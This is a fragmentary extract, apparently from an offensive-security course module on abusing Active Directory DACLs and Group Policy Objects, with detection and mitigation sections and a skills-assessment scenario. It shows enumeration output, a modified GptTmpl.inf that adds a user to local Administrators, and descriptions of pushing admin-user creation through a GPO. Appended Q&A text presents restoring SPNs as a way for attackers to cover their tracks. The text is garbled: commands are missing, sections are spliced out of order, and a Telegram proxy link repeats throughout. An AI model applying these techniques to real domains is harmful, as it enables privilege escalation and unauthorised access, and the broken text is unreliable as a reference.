With this information, we can apply the same logic to search for gplink attribute in the Sites
and OUs. To search for gplink in the Site we can use Get-DomainSite :
gplink
------
[LDAP://cn={EDBD4751-347A-4468-951F-
459B0CADDA47},cn=policies,cn=system,DC=inlanefreight,DC=local;0]
https://t.me/offenciveSec
name gplink
---- ------
Domain Controllers [LDAP://cn={6AC1786C-016F-11D2-945F-
00C04fB984F9},cn=policies,cn=system,DC=inlanefreight,DC=local;0]
Workstations
Servers [LDAP://cn={8F3E10E7-E9FC-43C7-A58F-
3ECFFBF69756},cn=policies,cn=system,DC=inlanefreight,DC=local;0]
[LDAP://cn={EF1EBF2A-08F2-48E0-9D2E-
67D9F2CE875D},cn=policies,cn=system,DC=inlanefreight,DC=local;0]
Note: Multiples GPOs can be applied to the same Site, Domain or OU.
Based on the OU information, we can query which computers are located within those OU
with the following PowerView command:
OU FQDN
-- -----------
OU=Domain Controllers,DC=inlanefreight,DC=local DC02.inlanefreight.local
OU=Workstations,DC=inlanefreight,DC=local SRV01.inlanefreight.local
OU=Servers,DC=inlanefreight,DC=local WEB01.inlanefreight.local
To create a new GPO, we can use the Windows module GroupPolicy, which is part of the
Remote Server Administration Tools (RSAT) for Windows commonly found on servers.
Alternatively, we can use PowerGPOAbuse. While some features didn't work during our
testing, it still presents an excellent opportunity to explore the tool's capabilities with regards
to GPO abuse.
To confirm if the GroupPolicy module is installed, we can use the following PowerShell
command:
DisplayName : TestGPO
DomainName : inlanefreight.local
Owner : INLANEFREIGHT\gabriel
Id : 93413c32-8d64-4ad6-b48e-6673cbb8aa24
GpoStatus : AllSettingsEnabled
Description : This is a test GPO.
CreationTime : 5/1/2024 3:04:54 PM
ModificationTime : 5/1/2024 3:04:54 PM
https://t.me/offenciveSec
Searching for users with rights to Link GPOs
As we previously discussed, GPOs can be linked to three (3) different locations: sites,
Domains, and OUs.
ObjectDN : CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=inlanefreight,DC=local
ResolvedSID : INLANEFREIGHT\eldridge
ObjectDN : DC=inlanefreight,DC=local
ResolvedSID : INLANEFREIGHT\eliezer
ObjectDN : OU=Workstations,DC=inlanefreight,DC=local
ResolvedSID : INLANEFREIGHT\luz
Aditionally we can use the tool Get-GPOEnumeration, a wrapper that use PowerView to
automate the GPO enumeration. If we don't specify any parameter, the function uses
PowerView to find all GPOs where non-admin users have the rights to modify and determine
where they are linked. Additionally, it can check permissions for modifying GPOs with the
parameter -ModifyGPOs, permission to link GPOs with -LinkGPOs , and permission to
create GPOs with -CreateGPO.
https://t.me/offenciveSec
PrincipalName : Server Admins
GPOName : Default Domain Policy
GPCFileSysPath :
\\inlanefreight.local\sysvol\inlanefreight.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}
AppliedScopes : Domain: inlanefreight
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty,
WriteProperty, GenericExecute
ObjectDN : CN={31B2F340-016D-11D2-945F-
00C04FB984F9},CN=Policies,CN=System,DC=inlanefreight,DC=local
...SNIP...
In the above command, the group Server Admins has permissions to modify the GPO
Default Domain Policy which is applied to the scope Domain: inlanefreight .
Link GPOs
To link a GPO, we can use the GroupPolicy module and use the command New-GPLink and
specify the GPO name with the option -Name <GPO> and the option -Target <LDAP
distinguished name> :
GpoId : 93413c32-8d64-4ad6-b48e-6673cbb8aa24
DisplayName : TestGPO
Enabled : True
Enforced : False
Target : OU=TestOU,DC=inlanefreight,DC=local
Order : 2
Option Description
--AddUserRights Add rights to a user
--AddLocalAdmin Add a user to the local admins group
--AddComputerScript Add a new computer startup script
https://t.me/offenciveSec
Option Description
--AddUserScript Configure a user logon script
--AddComputerTask Configure a computer immediate task
--AddUserTask Add an immediate task to a user
Note: Please keep in mind that using the --AddLocalAdmin option will overwrite any
existing Administrator if this policy is given higher priority. This could create problems if the
Administrators or any other options are locally set on the machines, as they will be replaced.
It is recommended to experiment with these changes in a controlled environment, such as
this lab.
SharpGPOAbuse, creates the GPO file and place it in the corresponding directory. We can
open the file location to see it's content:
PS C:\Tools> cat
"\\inlanefreight.local\SysVol\inlanefreight.local\Policies\{EF1EBF2A-08F2-
48E0-9D2E-67D9F2CE875D}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
https://t.me/offenciveSec
[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = *S-1-5-21-831407601-1803900599-2479021482-1106
After the computers within the OU update their policies, the account gabriel will become a
member of the Administrators group. We can now attempt to list the C$ drive of WEB01 ,
which is a computer that belongs to the OU:
Directory: \\web01\c$
Additionally we can use the PowerView3 version that includes the command New-
GPOImmediateTask , it allow us to modify the GPO and add a schedule task to execute
commands through the GPO.
Listing GPOs
To list GPOs, we can use the option -listgpo . To use this option, we need to specify the
credentials, the domain controller IP address using the option -dc-ip <ip address> , and
finally, any of the options -gpcmachine or -gpcuser, those indicate whenever the GPO is
related to users or machines.
https://t.me/offenciveSec
[+] Name: {31B2F340-016D-11D2-945F-00C04FB984F9}
[-] displayName: Default Domain Policy
[-] gPCFileSysPath:
\\inlanefreight.local\sysvol\inlanefreight.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}
[-] gPCMachineExtensionNames: [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}
{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-
00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-1
1D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
[-] versionNumber: 3
[-] Verbose:
--- ---
Registry Settings
EFS Policy
--- ---
Security
Computer Restricted Groups
--- ---
EFS Recovery
EFS Policy
Note: This option does not include links for Sites. To identify Site links, we can query the
Sites Active Directory Distinguished Name.
To install dacledit, we will clone ShutdownRepo impacket's repository, create a python virtual
environment to avoid conflict between the original Impacket installation and this branch, and
install the fork impacket repository:
cd impacket
pwd
/home/plaintext/htb/modules/dacl/shutdownRepo/impacket
python3 -m venv .dacledit
source .dacledit/bin/activate
https://t.me/offenciveSec
Name:"
[+] Name: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Name: {6AC1786C-016F-11D2-945F-00C04fB984F9}
[+] Name: {EF1EBF2A-08F2-48E0-9D2E-67D9F2CE875D}
[+] Name: {8F3E10E7-E9FC-43C7-A58F-3ECFFBF69756}
We will use those GUIDs in combination with the Group Policy distinguished name for the
domain, which is CN={<GUID>},CN=Policies,CN=System,DC=inlanefreight,DC=local
and use it with dacledit to identify rights to modify GPOs:
https://t.me/offenciveSec
Abusing GPOs from Linux
To abuse GPOs from Linux we can use pyGPOAbuse, a partial implementation of
SharpGPOAbuse. Let's install pyGPOAbuse :
Before we abuse this GPO, let's create a backup so we can restore it once we are done. We
can use GPOwned.py with the option -backup directoryname and specify the GPO guid
we want to backup with the option -name {GUID} :
https://t.me/offenciveSec
[^] Have a nice day!
Next we can use pyGPOAbuse to modify the GPO. This tool allowed us to run PowerShell
or cmd commands with the options -PowerShell or -command , respectively. We must set
the option -gpo-id <GPO ID> , the credentials and the command we want to execute. In the
following example, we will create a new user and add it to the Administrators group:
Note: Some options, such as creating GPOs or linking new ones to OU, Sites, or Domain,
are not included in these Python tools. We encourage students to create their own tools or
contribute to the existing ones.
Conclusion
In this section, we learn how to enumerate and abuse GPOs from Windows and Linux. In the
next section, we will discuss methods of detection and mitigation against all attacks seen so
far throughout this module.
https://t.me/offenciveSec
Detection strategies for Shadow Credential Attacks focus on identifying unusual activities
related to the manipulation of key security attributes:
To locate events where the CertIssuerName field is not empty, we can use the following
PowerShell script. This script retrieves all Event ID 4768, converts them to XML and then
filters the results to identify events where the CertIssuerName is not empty:
if ($certIssuerName) {
# Output the event if any of the Certificate Information
attributes are not empty
$event | Format-List -Property TimeCreated, Id, Message
}
}
Account Information:
Account Name: gabriel
Supplied Realm Name: LAB.LOCAL
User ID: S-1-5-21-2570265163-
3918697770-3667495639-4602
Service Information:
Service Name: krbtgt
https://t.me/offenciveSec
Service ID: S-1-5-21-2570265163-3918697770-
3667495639-502
Network Information:
Client Address: ::ffff:10.10.14.33
Client Port: 48272
Additional Information:
Ticket Options: 0x40800010
Result Code: 0x0
Ticket Encryption Type: 0x12
Pre-Authentication Type: 16
Certificate Information:
Certificate Issuer Name: gabriel
Certificate Serial Number: 00
Certificate Thumbprint:
3D330AC0E4CC1DEC26E309A9C8301829BEB1E219
Mitigation
Preventive measures for Shadow Credential Attacks should include:
https://t.me/offenciveSec
Logon Scripts
Detection
For attacks exploiting the scriptPath attribute, effective detection involves a couple of key
monitoring strategies:
Audit of Script Access and Modifications : Regularly monitor the access rights
and modifications made to scriptPath and related files. This can help reveal
unauthorized changes that could indicate an attack. Tools like icacls are invaluable in
determining if unintended entities have write access to these scripts.
Monitoring for Plaintext Credentials and Unauthorized Script Locations : It
is crucial to also monitor scripts for the presence of plaintext credentials or scripts
located in shared resources where users have rights to modify content. This oversight
can prevent attackers from exploiting scripts to elevate privileges or move laterally
within the network.
Mitigation
Effective mitigation involves several layers of defense, including:
Proper Permissions Management : Review and rectify permissions settings on logon scripts
and associated file shares. Ensure that only the required users and groups have write
access, and check that unsafe groups like Domain Users, Authenticated Users, and
Everyone do not have elevated permissions.
SPN Jacking
Detection
Detecting SPN Jacking involves monitoring specific security events related to Service
Principal Name (SPN) modifications:
https://t.me/offenciveSec
Tracking Kerberos Service Ticket Requests : Pay close attention to Kerberos
ticket requests, particularly those logged under Event ID 4769 . This monitoring is
essential for spotting SPN Jacking, especially when the Transited Services
attribute in S4U2Proxy requests is not blank , or when both the account
information and service information in S4U2Self requests point to the same
account , which can be indicative of attempts to misuse SPN for privilege escalation.
https://t.me/offenciveSec
Mitigation
Preventive strategies for SPN Jacking include:
GPO Attacks
Detection
For effective detection of GPO abuse, it is crucial to monitor specific Windows Event IDs that
log changes in GPO configurations. This monitoring can help identify unauthorized
modifications, creations, or deletions of GPOs. These events are not being monitored by
default
https://t.me/offenciveSec
The event IDs required to detect changes in GPOs are not enabled by default, to enable it,
we need to navigate to do the following:
Event ID 5137 (Created) : Logs the creation of new objects, such as GPOs,
providing visibility when new policies are established.
Event ID 5136 (Modified) : Logs modifications made to existing objects, including
any changes to GPOs, which is vital for catching unauthorized alterations that could
affect network behavior.
Event ID 5141 (Deleted) : Logs when an object, such as a GPO, is deleted, which
can indicate potential malicious activity aimed at reducing security controls.
https://t.me/offenciveSec
Mitigation
To mitigate the risks associated with GPO abuse, a comprehensive approach involving
several layers of defense is recommended:
Regular Audits and Reviews : Conduct regular audits of existing GPOs to ensure
that their configurations are still in alignment with organizational security policies and
operational requirements. This includes verifying that only authorized users have edit
permissions on critical GPOs.
Role-Based Access Control (RBAC) : Implement strict role-based access controls to
ensure that only personnel with a legitimate need can modify GPOs. This minimizes the
risk of insider threats and reduces the potential impact of compromised accounts.
Change Management and Approval Processes : Establish a robust change
management process that includes approval workflows for any changes to GPOs. This
process should include thorough testing and review of GPO changes in a non-
production environment before they are applied live.
https://t.me/offenciveSec
sAMAccountName Spoofing
Detection
Detecting sAMAccountName Spoofing involves closely monitoring changes to account
names that may indicate manipulation attempts:
Monitoring Account Name Changes : Pay attention to Event ID 4781 , which records
when the name of an account is changed. This event is pivotal for detecting
sAMAccountName Spoofing, especially when alterations to account names deviate
from typical naming conventions. An indicator of spoofing is when computer account
names are modified to omit the standard $ at the end, which is generally used for
system accounts in Windows environments. Such changes can suggest attempts to
impersonate legitimate accounts to gain unauthorized access or elevate privileges.
Mitigation
Strategies to mitigate risks associated with sAMAccountName Spoofing:
Patch and Update Systems : Ensure that all devices hosting AD domain controller
roles have the latest security updates installed, particularly those that address known
vulnerabilities like CVE-2021-42278 and CVE-2021-42287 .
https://t.me/offenciveSec
These detailed strategies for each attack vector provide a comprehensive approach to
bolstering defenses against DACL-related threats, ensuring that systems are both resilient to
attacks and capable of identifying potential breaches promptly.
Closing Thoughts
The landscape of cybersecurity, particularly within the realm of Discretionary Access Control
Lists (DACLs), is constantly evolving. Mastering the intricacies of DACLs requires an
ongoing commitment to learning and adaptation. Throughout this module, we've explored
sophisticated techniques that malicious actors employ to exploit DACL vulnerabilities, and
we've equipped you with robust strategies for both detection and mitigation.
It is crucial to recognize that threats associated with DACL misconfigurations will persist as
attackers continually refine their tactics. Thus, staying informed and proactive is imperative
for maintaining robust defenses against such vulnerabilities. Whether you are a security
professional in an offensive or defensive role, understanding the nuances of DACLs
empowers you to better safeguard your organization's digital assets.
We've covered a range of tools and tactics in this module that enhance your capabilities in
detecting and abusing DACL attacks. Remember, the deeper your understanding of DACL
security, the more adept you become at navigating its complexities—transforming knowledge
into effective defense mechanisms. This expertise not only boosts your professional growth
but also contributes significantly to the cybersecurity posture of the organizations you
support.
While our primary objective is to fortify security, the journey of learning and application
should also be engaging and rewarding. Embrace the challenges and opportunities that
DACL security presents, and enjoy the process of becoming a more proficient and
knowledgeable cybersecurity professional.
Skills Assessment
It is time to chain together all the DACL abuses and attacks covered throughout the module.
Scenario
Inlanefreight, a company specializing in customized global freight solutions, recently
promoted a technical support staff member to the position of Systems Administrator.
However, due to their lack of experience, they have struggled with implementing and
adhering to AD security best practices. This new admin has inadvertently granted privileged
and unnecessary access rights to various network objects, violating the principle of least
privilege. As a result, the company is concerned that, in the event of a breach, the
consequences could be catastrophic.
https://t.me/offenciveSec
Understanding your deep expertise in AD security and your proficiency in exploiting
misconfigured DACLs, they have sought your services for a penetration test on their AD
environment, with a primary focus on auditing the DACLs of different network objects.
For this internal assessment, Inlanefreight has provided you with a computer named SDE01
and an account named taino . To connect to SDE01, you should use the target IP address
and use RDP. Once connected, you will begin enumerating and testing Inlanefreight's AD
environment to assess their security posture.
Rules of Engagement
The company has one specific rule of engagement that must be followed during the
penetration test. Violating it will void the contract. You must adhere to the following:
Only exploit DACL attacks covered in this module to gain access to the Domain Controller.
https://t.me/offenciveSec
Restoring cleared SPNs after an attack is a good practice because it helps maintain network stability and reduces the likelihood of detection. By restoring SPNs, attackers cover their tracks, reducing the chances of alerts that could arise from missing or altered SPNs. It also prevents disruptions to legitimate network activities that rely on those SPNs for authentication .
The PowerView tool assists attackers by allowing them to enumerate and understand existing GPO configurations, as well as identify accounts with the ability to create, modify, or link GPOs. Through effective enumeration, attackers can pinpoint which GPOs they can compromise, determine their linked locations, and identify which non-admin users can interact with these GPOs, facilitating targeted attacks .
Understanding the GPO application order is crucial because it dictates which policies will take precedence and where a potential attacker could inject malicious policies. Local GPOs are applied first, followed by site-linked, domain-linked, and finally, OU-linked GPOs. This hierarchy allows attackers to strategically create or modify GPOs that override previous settings to escalate privileges or move laterally within the network .
SPN manipulation can facilitate privilege escalation by allowing attackers to impersonate privileged accounts or services. By jacking SPNs, attackers can create tickets that authenticate as high-privilege users like an Administrator on different services. Through methods like Live SPN-Jacking, which involves manipulating active SPNs, attackers gain control over how authentication processes are redirected, potentially gaining unauthorized access within the network .
The service name is critical because it determines which service and host the Kerberos ticket can authenticate against. If the service name in the ticket doesn't match the target service, access will be denied. However, by altering the service name, such as using Rubeus tgssub, an attacker can make the ticket usable against different services or hosts, thereby broadening the scope of attack .
An attacker might exploit the sAMAccountName by spoofing it for privilege escalation. For instance, when a Domain Controller is vulnerable to the NoPAC attack, it allows a TGT to be requested without a PAC, creating a discrepancy that can be exploited if combined with sAMAccountName spoofing. The vulnerability particularly arises when patches like CVE-2021-42278, which prevent sAMAccountName spoofing by restricting unauthorized changes, are not applied .
Alternative service names allow attackers to retarget Kerberos tickets towards services that they could otherwise not access. By substituting an alternate service name, such as changing 'cifs' to 'HTTP' in a ticket, attackers can redirect authentication attempts to their desired service, thus exploiting service tickets beyond their intended scope .
Site-level GPOs can have significant implications on network security as they apply uniformly across all computers in the site. Their enforcement ensures that site-specific policies override domain and OU-level settings unless explicitly blocked or countered by an enforced GPO of the same level or higher. This mechanism in GPOs can be both advantageous for centralized policy management and risky if improperly managed, as it gives a wide scope of influence .
The Chisel tool can be used by attackers to create a proxy that allows them to connect to an internal network using their administrative rights. By setting up Chisel to tunnel through an accessible admin account like on SRV01, attackers can pivot from a remote location to internal network resources, overcoming geographical or network access constraints .
Live SPN-Jacking involves active manipulation of SPNs currently in use within the network environment. This technique requires a subtle understanding of Active Directory's delegation and permission intricacies. In contrast, Ghost SPN-Jacking involves passive manipulation of SPNs and does not require active engagement with live SPNs .